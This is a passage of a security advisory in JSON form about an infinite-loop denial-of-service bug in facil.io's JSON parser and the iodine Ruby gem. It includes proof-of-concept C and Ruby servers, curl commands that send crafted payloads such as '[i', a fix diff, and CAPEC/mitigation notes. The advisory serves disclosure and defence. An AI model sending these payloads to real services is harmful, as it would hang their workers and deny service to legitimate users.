`JSON_NUMERAL[\u0027i\u0027] == 0`, so the parser incorrectly accepts the value as an integer and sets `pos = tmp` without advancing.\n6. Because parsing is still nested (`parser-\u003edepth \u003e 0`), the outer loop continues forever with the same `pos`.\n\nThe same logic exists in `iodine`\u0027s vendored copy at `ext/iodine/fio_json_parser.h` lines `434-468`.\n\nWhy the `[\"\"i` form hangs:\n\n1. The parser accepts the empty string `\"\"` as the first array element.\n2. It does not require a comma before the next token.\n3. The trailing `i` is then parsed as a new nested value.\n4. The zero-progress numeral path above causes the infinite loop.\n\nExamples that trigger the bug:\n\n- Array form, minimal: `[i`\n- Object form: `{\"a\":i`\n- After a quoted value in an array: `[\"\"i`\n- After a quoted value in an object: `{\"a\":\"\"i`\n\n## PoC\nEnvironment used for verification:\n\n- `facil.io` commit: `162df84001d66789efa883eebb0567426d00148e`\n- `iodine` commit: `5bebba698d69023cf47829afe51052f8caa6c7f8`\n- standalone compile against `fio_json_parser.h`\n\n### Minimal standalone program\n\nUse the normal HTTP stack. The following server calls `http_parse_body(h)`, which reaches `fiobj_json2obj` and then `fio_json_parse` for `Content-Type: application/json`.\n\n```c\n#define _POSIX_C_SOURCE 200809L\n\n#include \u003cstdio.h\u003e\n#include \u003ctime.h\u003e\n#include \u003cfio.h\u003e\n#include \u003chttp.h\u003e\n\nstatic void on_request(http_s *h) {\n fprintf(stderr, \"calling http_parse_body\\n\");\n fflush(stderr);\n http_parse_body(h);\n fprintf(stderr, \"returned from http_parse_body\\n\");\n http_send_body(h, \"ok\\n\", 3);\n}\n\nint main(void) {\n if (http_listen(\"3000\", \"127.0.0.1\",\n .on_request = on_request,\n .max_body_size = (1024 * 1024),\n .log = 1) == -1) {\n perror(\"http_listen\");\n return 1;\n }\n fio_start(.threads = 1, .workers = 1);\n return 0;\n}\n```\n\n`http_parse_body(h)` is the higher-level entry point and, for `Content-Type: application/json`, it reaches `fiobj_json2obj` in `lib/facil/http/http.c:1947-1953`.\n\nSave it as `src/main.c` in a vulnerable `facil.io` checkout and build it with the repo `makefile`:\n\n```bash\ngit checkout 0.7.6\nmkdir -p src\nmake NAME=http_json_poc\n```\n\nRun:\n\n```bash\n./tmp/http_json_poc\n```\n\nThen in another terminal send one of these payloads:\n\n```bash\nprintf \u0027[i\u0027 | curl --http1.1 -H \u0027Content-Type: application/json\u0027 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027{\"a\":i\u0027 | curl --http1.1 -H \u0027Content-Type: application/json\u0027 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027[\"\"i\u0027 | curl --http1.1 -H \u0027Content-Type: application/json\u0027 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027{\"a\":\"\"i\u0027 | curl --http1.1 -H \u0027Content-Type: application/json\u0027 -X POST --data-binary @- http://127.0.0.1:3000/\n```\n\nObserved result on a vulnerable build:\n\n- The server prints `calling http_parse_body` and never reaches `returned from http_parse_body`.\n- The request never completes.\n- One worker thread spins until the process is killed.\n\n### Downstream impact in `iodine`\n\n`iodine` vendors the same parser implementation in `ext/iodine/fio_json_parser.h`, so any `iodine` code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.\n\nSingle-file `iodine` HTTP server repro:\n\n```ruby\nrequire \"iodine\"\n\nAPP = proc do |env|\n body = env[\"rack.input\"].read.to_s\n warn \"calling Iodine::JSON.parse on: #{body.inspect}\"\n Iodine::JSON.parse(body)\n warn \"returned from Iodine::JSON.parse\"\n [200, { \"Content-Type\" =\u003e \"text/plain\", \"Content-Length\" =\u003e \"3\" }, [\"ok\\n\"]]\nend\n\nIodine.listen service: :http,\n address: \"127.0.0.1\",\n port: \"3000\",\n handler: APP\n\nIodine.threads = 1\nIodine.workers = 1\nIodine.start\n```\n\nRun:\n\n```bash\nruby iodine_json_parse_http_poc.rb\n```\n\nThen in a second terminal:\n\n```bash\nprintf \u0027[i\u0027 | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027{\"a\":i\u0027 | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027[\"\"i\u0027 | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027{\"a\":\"\"i\u0027 | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\n```\n\nOn a vulnerable build, the server prints the `calling Iodine::JSON.parse...` line but never prints the `returned from Iodine::JSON.parse` line for these payloads.\n\n## Impact\nThis is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.\n\nI would describe the impact as:\n\n- Availability impact: high for affected parser entry points\n- Confidentiality impact: none observed\n- Integrity impact: none observed\n\n## Suggested Patch\nTreat zero-consumption numeric parses as failures before accepting the token.\n\n```diff\ndiff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h\n@@\n uint8_t *tmp = pos;\n long long i = fio_atol((char **)\u0026tmp);\n if (tmp \u003e limit)\n goto stop;\n- if (!tmp || JSON_NUMERAL[*tmp]) {\n+ if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {\n tmp = pos;\n double f = fio_atof((char **)\u0026tmp);\n if (tmp \u003e limit)\n goto stop;\n- if (!tmp || JSON_NUMERAL[*tmp])\n+ if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])\n goto error;\n fio_json_on_float(parser, f);\n pos = tmp;\n```\n\nThis preserves permissive `inf` / `nan` handling when the float parser actually consumes input, but rejects bare `i` / `I` tokens that otherwise leave the cursor unchanged.\n\nThe same change should be mirrored to `iodine`\u0027s vendored copy:\n\n- `ext/iodine/fio_json_parser.h`\n\n\n## Impact\n- `facil.io`\n - Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e` (`git describe`: `0.7.5-24-g162df840`)\n - Verified on tagged releases `0.7.5` and `0.7.6`\n- `iodine` Ruby gem\n - Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8`\n - Verified on tag / gem version `v0.7.58`\n - The gem vendors a copy of the vulnerable parser in `ext/iodine/fio_json_parser.h`",
"id": "GHSA-2x79-gwq3-vxxm",
"modified": "2026-06-08T23:17:40Z",
"published": "2026-04-14T23:41:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/boazsegev/facil.io/security/advisories/GHSA-2x79-gwq3-vxxm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41146"
},
{
"type": "WEB",
"url": "https://github.com/boazsegev/facil.io/commit/5128747363055201d3ecf0e29bf0a961703c9fa0"
},
{
"type": "PACKAGE",
"url": "https://github.com/boazsegev/facil.io"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/iodine/CVE-2026-41146.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem"
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.